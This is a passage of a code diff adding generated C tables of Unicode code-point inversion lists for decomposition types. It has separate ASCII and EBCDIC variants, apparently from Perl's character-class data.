+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__CAN_invlist[] = { /* for EBCDIC 1047 */
+	467,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0xBA,
+	0xBB,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x149,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x17F,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1CD,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F1,
+	0x1F4,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D3,
+	0x3D5,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x622,
+	0x627,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1E00,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309E,
+	0x309F,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x30FF,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__CAN_invlist[] = { /* for EBCDIC 037 */
+	467,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x59,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x8D,
+	0x8E,
+	0xAD,
+	0xAE,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x110,
+	0x112,
+	0x126,
+	0x128,
+	0x131,
+	0x134,
+	0x138,
+	0x139,
+	0x13F,
+	0x143,
+	0x149,
+	0x14C,
+	0x152,
+	0x154,
+	0x166,
+	0x168,
+	0x17F,
+	0x1A0,
+	0x1A2,
+	0x1AF,
+	0x1B1,
+	0x1CD,
+	0x1DD,
+	0x1DE,
+	0x1E4,
+	0x1E6,
+	0x1F1,
+	0x1F4,
+	0x1F6,
+	0x1F8,
+	0x21C,
+	0x21E,
+	0x220,
+	0x226,
+	0x234,
+	0x340,
+	0x342,
+	0x343,
+	0x345,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x391,
+	0x3AA,
+	0x3B1,
+	0x3CA,
+	0x3CF,
+	0x3D3,
+	0x3D5,
+	0x400,
+	0x402,
+	0x403,
+	0x404,
+	0x407,
+	0x408,
+	0x40C,
+	0x40F,
+	0x419,
+	0x41A,
+	0x439,
+	0x43A,
+	0x450,
+	0x452,
+	0x453,
+	0x454,
+	0x457,
+	0x458,
+	0x45C,
+	0x45F,
+	0x476,
+	0x478,
+	0x4C1,
+	0x4C3,
+	0x4D0,
+	0x4D4,
+	0x4D6,
+	0x4D8,
+	0x4DA,
+	0x4E0,
+	0x4E2,
+	0x4E8,
+	0x4EA,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x622,
+	0x627,
+	0x6C0,
+	0x6C1,
+	0x6C2,
+	0x6C3,
+	0x6D3,
+	0x6D4,
+	0x929,
+	0x92A,
+	0x931,
+	0x932,
+	0x934,
+	0x935,
+	0x958,
+	0x960,
+	0x9CB,
+	0x9CD,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB48,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB5C,
+	0xB5E,
+	0xB94,
+	0xB95,
+	0xBCA,
+	0xBCD,
+	0xC48,
+	0xC49,
+	0xCC0,
+	0xCC1,
+	0xCC7,
+	0xCC9,
+	0xCCA,
+	0xCCC,
+	0xD4A,
+	0xD4D,
+	0xDDA,
+	0xDDB,
+	0xDDC,
+	0xDDF,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x1026,
+	0x1027,
+	0x1B06,
+	0x1B07,
+	0x1B08,
+	0x1B09,
+	0x1B0A,
+	0x1B0B,
+	0x1B0C,
+	0x1B0D,
+	0x1B0E,
+	0x1B0F,
+	0x1B12,
+	0x1B13,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B3E,
+	0x1B40,
+	0x1B42,
+	0x1B43,
+	0x1B44,
+	0x1E00,
+	0x1E9A,
+	0x1E9B,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFE,
+	0x2000,
+	0x2002,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x219A,
+	0x219C,
+	0x21AE,
+	0x21AF,
+	0x21CD,
+	0x21D0,
+	0x2204,
+	0x2205,
+	0x2209,
+	0x220A,
+	0x220C,
+	0x220D,
+	0x2224,
+	0x2225,
+	0x2226,
+	0x2227,
+	0x2241,
+	0x2242,
+	0x2244,
+	0x2245,
+	0x2247,
+	0x2248,
+	0x2249,
+	0x224A,
+	0x2260,
+	0x2261,
+	0x2262,
+	0x2263,
+	0x226D,
+	0x2272,
+	0x2274,
+	0x2276,
+	0x2278,
+	0x227A,
+	0x2280,
+	0x2282,
+	0x2284,
+	0x2286,
+	0x2288,
+	0x228A,
+	0x22AC,
+	0x22B0,
+	0x22E0,
+	0x22E4,
+	0x22EA,
+	0x22EE,
+	0x2329,
+	0x232B,
+	0x2ADC,
+	0x2ADD,
+	0x304C,
+	0x304D,
+	0x304E,
+	0x304F,
+	0x3050,
+	0x3051,
+	0x3052,
+	0x3053,
+	0x3054,
+	0x3055,
+	0x3056,
+	0x3057,
+	0x3058,
+	0x3059,
+	0x305A,
+	0x305B,
+	0x305C,
+	0x305D,
+	0x305E,
+	0x305F,
+	0x3060,
+	0x3061,
+	0x3062,
+	0x3063,
+	0x3065,
+	0x3066,
+	0x3067,
+	0x3068,
+	0x3069,
+	0x306A,
+	0x3070,
+	0x3072,
+	0x3073,
+	0x3075,
+	0x3076,
+	0x3078,
+	0x3079,
+	0x307B,
+	0x307C,
+	0x307E,
+	0x3094,
+	0x3095,
+	0x309E,
+	0x309F,
+	0x30AC,
+	0x30AD,
+	0x30AE,
+	0x30AF,
+	0x30B0,
+	0x30B1,
+	0x30B2,
+	0x30B3,
+	0x30B4,
+	0x30B5,
+	0x30B6,
+	0x30B7,
+	0x30B8,
+	0x30B9,
+	0x30BA,
+	0x30BB,
+	0x30BC,
+	0x30BD,
+	0x30BE,
+	0x30BF,
+	0x30C0,
+	0x30C1,
+	0x30C2,
+	0x30C3,
+	0x30C5,
+	0x30C6,
+	0x30C7,
+	0x30C8,
+	0x30C9,
+	0x30CA,
+	0x30D0,
+	0x30D2,
+	0x30D3,
+	0x30D5,
+	0x30D6,
+	0x30D8,
+	0x30D9,
+	0x30DB,
+	0x30DC,
+	0x30DE,
+	0x30F4,
+	0x30F5,
+	0x30F7,
+	0x30FB,
+	0x30FE,
+	0x30FF,
+	0xAC00,
+	0xD7A4,
+	0xF900,
+	0xFA0E,
+	0xFA10,
+	0xFA11,
+	0xFA12,
+	0xFA13,
+	0xFA15,
+	0xFA1F,
+	0xFA20,
+	0xFA21,
+	0xFA22,
+	0xFA23,
+	0xFA25,
+	0xFA27,
+	0xFA2A,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB20,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFB4F,
+	0x1109A,
+	0x1109B,
+	0x1109C,
+	0x1109D,
+	0x110AB,
+	0x110AC,
+	0x1112E,
+	0x11130,
+	0x1134B,
+	0x1134D,
+	0x114BB,
+	0x114BD,
+	0x114BE,
+	0x114BF,
+	0x115BA,
+	0x115BC,
+	0x1D15E,
+	0x1D165,
+	0x1D1BB,
+	0x1D1C1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DT__COM_invlist[] = { /* for ASCII/Latin1 */
+	149,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA8,
+	0xA9,
+	0xAF,
+	0xB0,
+	0xB4,
+	0xB6,
+	0xB8,
+	0xB9,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2D8,
+	0x2DE,
+	0x37A,
+	0x37B,
+	0x384,
+	0x385,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x1E9A,
+	0x1E9B,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FFE,
+	0x1FFF,
+	0x2002,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x210A,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2122,
+	0x2135,
+	0x2139,
+	0x213B,
+	0x213C,
+	0x2160,
+	0x2180,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2474,
+	0x24B6,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x3131,
+	0x318F,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x32C0,
+	0x32CC,
+	0x3358,
+	0x3371,
+	0x33E0,
+	0x33FF,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB4F,
+	0xFB50,
+	0xFE49,
+	0xFE50,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12B,
+	0x1F240,
+	0x1F249
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__COM_invlist[] = { /* for EBCDIC 1047 */
+	149,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xBF,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2D8,
+	0x2DE,
+	0x37A,
+	0x37B,
+	0x384,
+	0x385,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x1E9A,
+	0x1E9B,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FFE,
+	0x1FFF,
+	0x2002,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x210A,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2122,
+	0x2135,
+	0x2139,
+	0x213B,
+	0x213C,
+	0x2160,
+	0x2180,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2474,
+	0x24B6,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x3131,
+	0x318F,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x32C0,
+	0x32CC,
+	0x3358,
+	0x3371,
+	0x33E0,
+	0x33FF,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB4F,
+	0xFB50,
+	0xFE49,
+	0xFE50,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12B,
+	0x1F240,
+	0x1F249
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DT__COM_invlist[] = { /* for EBCDIC 037 */
+	147,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9D,
+	0x9E,
+	0xA0,
+	0xA1,
+	0xBC,
+	0xBF,
+	0x132,
+	0x134,
+	0x13F,
+	0x141,
+	0x149,
+	0x14A,
+	0x17F,
+	0x180,
+	0x1C4,
+	0x1CD,
+	0x1F1,
+	0x1F4,
+	0x2D8,
+	0x2DE,
+	0x37A,
+	0x37B,
+	0x384,
+	0x385,
+	0x3D0,
+	0x3D3,
+	0x3D5,
+	0x3D7,
+	0x3F0,
+	0x3F3,
+	0x3F4,
+	0x3F6,
+	0x3F9,
+	0x3FA,
+	0x587,
+	0x588,
+	0x675,
+	0x679,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x1E9A,
+	0x1E9B,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC1,
+	0x1FFE,
+	0x1FFF,
+	0x2002,
+	0x2007,
+	0x2008,
+	0x200B,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
+	0x2060,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
+	0x210A,
+	0x2116,
+	0x2117,
+	0x2121,
+	0x2122,
+	0x2135,
+	0x2139,
+	0x213B,
+	0x213C,
+	0x2160,
+	0x2180,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2474,
+	0x24B6,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x3131,
+	0x318F,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3244,
+	0x32C0,
+	0x32CC,
+	0x3358,
+	0x3371,
+	0x33E0,
+	0x33FF,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB4F,
+	0xFB50,
+	0xFE49,
+	0xFE50,
+	0x1F100,
+	0x1F10B,
+	0x1F110,
+	0x1F12B,
+	0x1F240,
+	0x1F249
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_DT__ENC_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2460,
+	0x2474,
+	0x24B6,
+	0x24EB,
+	0x3244,
+	0x3248,
+	0x3251,
+	0x327F,
+	0x3280,
+	0x32C0,
+	0x32D0,
+	0x32FF,
+	0x1F12B,
+	0x1F12F,
+	0x1F250,
+	0x1F252
+};
+
+static const UV PL_DT__FIN_invlist[] = { /* for all charsets */
+	227,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB51,
+	0xFB52,
+	0xFB53,
+	0xFB54,
+	0xFB57,
+	0xFB58,
+	0xFB5B,
+	0xFB5C,
+	0xFB5F,
+	0xFB60,
+	0xFB63,
+	0xFB64,
+	0xFB67,
+	0xFB68,
+	0xFB6B,
+	0xFB6C,
+	0xFB6F,
+	0xFB70,
+	0xFB73,
+	0xFB74,
+	0xFB77,
+	0xFB78,
+	0xFB7B,
+	0xFB7C,
+	0xFB7F,
+	0xFB80,
+	0xFB83,
+	0xFB84,
+	0xFB85,
+	0xFB86,
+	0xFB87,
+	0xFB88,
+	0xFB89,
+	0xFB8A,
+	0xFB8B,
+	0xFB8C,
+	0xFB8D,
+	0xFB8E,
+	0xFB8F,
+	0xFB90,
+	0xFB93,
+	0xFB94,
+	0xFB97,
+	0xFB98,
+	0xFB9B,
+	0xFB9C,
+	0xFB9F,
+	0xFBA0,
+	0xFBA1,
+	0xFBA2,
+	0xFBA5,
+	0xFBA6,
+	0xFBA7,
+	0xFBA8,
+	0xFBAB,
+	0xFBAC,
+	0xFBAF,
+	0xFBB0,
+	0xFBB1,
+	0xFBB2,
+	0xFBD4,
+	0xFBD5,
+	0xFBD8,
+	0xFBD9,
+	0xFBDA,
+	0xFBDB,
+	0xFBDC,
+	0xFBDD,
+	0xFBDF,
+	0xFBE0,
+	0xFBE1,
+	0xFBE2,
+	0xFBE3,
+	0xFBE4,
+	0xFBE5,
+	0xFBE6,
+	0xFBEB,
+	0xFBEC,
+	0xFBED,
+	0xFBEE,
+	0xFBEF,
+	0xFBF0,
+	0xFBF1,
+	0xFBF2,
+	0xFBF3,
+	0xFBF4,
+	0xFBF5,
+	0xFBF6,
+	0xFBF7,
+	0xFBF8,
+	0xFBFA,
+	0xFBFB,
+	0xFBFD,
+	0xFBFE,
+	0xFC64,
+	0xFC97,
+	0xFD11,
+	0xFD2D,
+	0xFD3C,
+	0xFD3D,
+	0xFD51,
+	0xFD52,
+	0xFD58,
+	0xFD59,
+	0xFD5A,
+	0xFD5C,
+	0xFD5E,
+	0xFD60,
+	0xFD62,
+	0xFD63,
+	0xFD64,
+	0xFD65,
+	0xFD66,
+	0xFD68,
+	0xFD69,
+	0xFD6B,
+	0xFD6C,
+	0xFD6D,
+	0xFD6E,
+	0xFD70,
+	0xFD71,
+	0xFD72,
+	0xFD74,
+	0xFD77,
+	0xFD78,
+	0xFD7D,
+	0xFD7E,
+	0xFD83,
+	0xFD84,
+	0xFD86,
+	0xFD87,
+	0xFD88,
+	0xFD8B,
+	0xFD8C,
+	0xFD96,
+	0xFD98,
+	0xFD99,
+	0xFD9D,
+	0xFD9E,
+	0xFDB4,
+	0xFDB6,
+	0xFDB8,
+	0xFDB9,
+	0xFDBA,
+	0xFDBB,
+	0xFDC3,
+	0xFDC6,
+	0xFDC8,
+	0xFE82,
+	0xFE83,
+	0xFE84,
+	0xFE85,
+	0xFE86,
+	0xFE87,
+	0xFE88,
+	0xFE89,
+	0xFE8A,
+	0xFE8B,
+	0xFE8E,
+	0xFE8F,
+	0xFE90,
+	0xFE91,
+	0xFE94,
+	0xFE95,
+	0xFE96,
+	0xFE97,
+	0xFE9A,
+	0xFE9B,
